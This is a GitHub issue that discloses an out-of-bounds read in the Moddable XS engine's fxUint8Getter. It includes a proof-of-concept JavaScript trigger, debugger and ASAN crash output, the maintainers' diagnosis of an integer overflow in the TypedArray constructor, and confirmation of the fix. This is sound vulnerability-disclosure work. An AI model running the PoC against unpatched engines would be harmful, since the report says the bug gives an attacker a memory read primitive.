New issue

Jump to bottom

Out-of-bounds Read in fxUint8Getter #896

Closed **Q1IQ** opened this issue on Apr 8 · 3 comments

Labels **confirmed**

Q1IQ commented on Apr 8 • edited

Environment

Build environment: Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Target device: sdk

Commit: e26597b

Proof of concept

poc.js

```
function main() {
var a4 = [1111111111,1111111111,1111111111,1111111111,1111111111];
var a5 = [11111111111111111111];
var a8 = ``;
var a9 = 0;
var a10 = Uint32Array;
var a11 = new Uint8ClampedArray();
({"buffer":a9,"byteLength":a10,"byteOffset":a8,} = a11);
var a13 = new Uint8ClampedArray(a9,1111111111,...a4);
var a14 = new Uint32Array(Symbol,111111111111111,...a5,...a13);
}
main();
```

Analysis

In file: /moddable/xs/sources/xsDataView.c

```
   2891 }
   2892
   2893 void fxUint8Getter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int
endian)
   2894 {
   2895  slot->kind = XS_INTEGER_KIND;
 ► 2896  slot->value.integer = c_read8((txU1*)(data->value.arrayBuffer.address + offset)); => [1]
   2897  mxMeterOne();
   2898 }
   2899
```

Since the `offset` in [1] is controlled by attackers, this issue brings arbitrary memory read primitive.

```
 RAX  0x800038ff226f
 RBX  0x7ffff6c47590 ◂— 0x0
 RCX  0x7ffff6c475f0 ◂— 0x0
 RDX  0x7ffff6c4eca8 ◂— 0x0
 RDI  0x5555557162a0 —▸ 0x7ffff6c47590 ◂— 0x0
 RSI  0x7ffff44670d0 —▸ 0x7ffff44670f0 ◂— 0x0
 R8   0x0
 R9   0x5555555c64cf (fxUint8Getter) ◂— endbr64
 R10  0x555555737004 ◂— 0xc7a000001e35390
 R11  0x0
 R12  0x0
 R13  0x0
 R14  0x7ffff445c890 —▸ 0x7ffff445c8b0 —▸ 0x7ffff445c8d0 —▸ 0x7ffff445c8f0 ◂— 0x0
 R15  0x7ffff6c476b0 —▸ 0x7ffff6c479f0 —▸ 0x7ffff6c47ad0 —▸ 0x7ffff6c47bf0 ◂— 0x0
 RBP  0x7fffffffae50 —▸ 0x7fffffffaea0 —▸ 0x7fffffffbb80 —▸ 0x7fffffffbbd0 —▸ 0x7fffffffbc30 ◂—
...
 RSP  0x7fffffffae50 —▸ 0x7fffffffaea0 —▸ 0x7fffffffbb80 —▸ 0x7fffffffbbd0 —▸ 0x7fffffffbc30 ◂—
...
 RIP  0x5555555c6502 (fxUint8Getter+51) ◂— movzx  eax, byte ptr [rax]
─────────────────────────────────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────────────────────────────
   0x5555555c64ff <fxUint8Getter+48>    add    rax, rdx
 ► 0x5555555c6502 <fxUint8Getter+51>    movzx  eax, byte ptr [rax]
   0x5555555c6505 <fxUint8Getter+54>    movzx  edx, al
   0x5555555c6508 <fxUint8Getter+57>    mov    rax, qword ptr [rbp - 0x20]
   0x5555555c650c <fxUint8Getter+61>    mov    dword ptr [rax + 0x10], edx
   0x5555555c650f <fxUint8Getter+64>    nop
   0x5555555c6510 <fxUint8Getter+65>    pop    rbp
   0x5555555c6511 <fxUint8Getter+66>    ret

   0x5555555c6512 <fxUint8Setter>       endbr64
   0x5555555c6516 <fxUint8Setter+4>     push   rbp
   0x5555555c6517 <fxUint8Setter+5>     mov    rbp, rsp
   0x5555555c651a <fxUint8Setter+8>     mov    qword ptr [rbp - 0x18], rdi
─────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE)
]──────────────────────────────────────────────────────────────────────────────
In file: /home/q1iq/Documents/share/moddable-origin/e26597b/moddable/xs/sources/xsDataView.c
   2891 }
   2892
   2893 void fxUint8Getter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int
endian)
```

```
   2894 {
   2895         slot->kind = XS_INTEGER_KIND;
 ► 2896         slot->value.integer = c_read8((txU1*)(data->value.arrayBuffer.address + offset));
   2897         mxMeterOne();
   2898 }
   2899
   2900 void fxUint8Setter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int
endian)
   2901 {
──────────────────────────────────────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffae50 —▸ 0x7fffffffaea0 —▸ 0x7fffffffbb80 —▸ 0x7fffffffbbd0 —▸
0x7fffffffbc30 ◂— ...
01:0008│         0x7fffffffae58 —▸ 0x5555555bcc42 (fxTypedArrayGetter+329) ◂— nop
02:0010│         0x7fffffffae60 —▸ 0x7fffffffae90 —▸ 0x7ffff4467250 —▸ 0x7ffff4467270 ◂— 0x0
03:0018│         0x7fffffffae68 —▸ 0x5555557162a0 —▸ 0x7ffff6c47590 ◂— 0x0
04:0020│         0x7fffffffae70 ◂— 0x7450 /* 'Pt' */
05:0028│         0x7fffffffae78 ◂— 0x423a35c700000000
06:0030│         0x7fffffffae80 —▸ 0x7ffff4467210 —▸ 0x7ffff4467230 —▸ 0x7ffff4467250 —▸
0x7ffff4467270 ◂— ...
07:0038│         0x7fffffffae88 —▸ 0x7ffff4467230 —▸ 0x7ffff4467250 —▸ 0x7ffff4467270 ◂— 0x0
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE
]──────────────────────────────────────────────────────────────────────────────
 ► f 0   0x5555555c6502 fxUint8Getter+51
   f 1   0x5555555bcc42 fxTypedArrayGetter+329
   f 2   0x55555562d8d4 fxRunID+3486
   f 3   0x55555558576e fxGetAll+598
   f 4   0x55555559c824 fx_ArrayIterator_prototype_next+357
   f 5   0x55555562d8d4 fxRunID+3486
   f 6   0x5555556476fa fxRunScript+3157
   f 7   0x5555556ac0ef fxRunProgramFile+190
```

In this case, rax is an out-of-bounds read index of the `value.arrayBuffer.address`, which has the value of `0x7ffff6c4eca8+1111111111`.

ASAN Stack dump

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1832495==ERROR: AddressSanitizer: SEGV on unknown address 0x7fa3408a4a6f (pc 0x0000005dcb52 bp
0x7ffcb61fa520 sp 0x7ffcb61fa490 T0)
==1832495==The signal is caused by a READ memory access.
    #0 0x5dcb52 in fxUint8Getter /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:2895:24
    #1 0x5bdef6 in fxTypedArrayGetter /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:1013:4
    #2 0x7bb754 in fxRunID /home/q1iq/Documents/moddable/xs/sources/xsRun.c:845:7
    #3 0x4e7d61 in fxGetAll /home/q1iq/Documents/moddable/xs/sources/xsAPI.c:974:4
    #4 0x5357f2 in fx_ArrayIterator_prototype_next
/home/q1iq/Documents/moddable/xs/sources/xsArray.c:2592:5
    #5 0x7bb754 in fxRunID /home/q1iq/Documents/moddable/xs/sources/xsRun.c:845:7
    #6 0x82df0f in fxRunScript /home/q1iq/Documents/moddable/xs/sources/xsRun.c:4790:4
    #7 0xa02bbe in fxRunProgramFile /home/q1iq/Documents/moddable/xs/tools/xst.c:1640:2
    #8 0x9fcdad in main /home/q1iq/Documents/moddable/xs/tools/xst.c:332:8
    #9 0x7fa302a7a082 in __libc_start_main /build/glibc-KZwQYS/glibc-2.31/csu/../csu/libc-
start.c:308:16
```

```
    #10 0x42f66d in _start (/home/q1iq/Documents/moddable/build/bin/lin/debug/xst+0x42f66d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:2895:24 in
fxUint8Getter
==1832495==ABORTING
```

Credit

P1umer(**@P1umer**) and Q1IQ(**@Q1IQ**)

 **phoddie** added the **confirmed** label on Apr 8

phoddie commented on Apr 8 — Collaborator

Thank you for the detailed report.

A quick review suggests that the problem is integer overflow in the TypedArray constructor:

moddable/xs/sources/xsDataView.c
Line 1360 in `e26597b`

```
1360      if (info->value.bufferInfo.length < (offset + size))
```

The expression `offset + size` overflows, bypassing the range check. Replacing that with `fxAddChunkSizes(the, offset, size)` catches the overflow.

A similar issue appears to be present in the DataView constructor. We'll review for related issues.

 **mkellner** pushed a commit that referenced this issue on Apr 12

`XS: #896` `135aa9a`

P1umer commented on Apr 15

Nice work! The problem disappeared with the patch. Bug fixed.

phoddie commented on Apr 15 — Collaborator

Cool. Thank you for verifying.

 **phoddie** closed this as completed on Apr 15

Assignees

No one assigned

Labels

confirmed

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

3 participants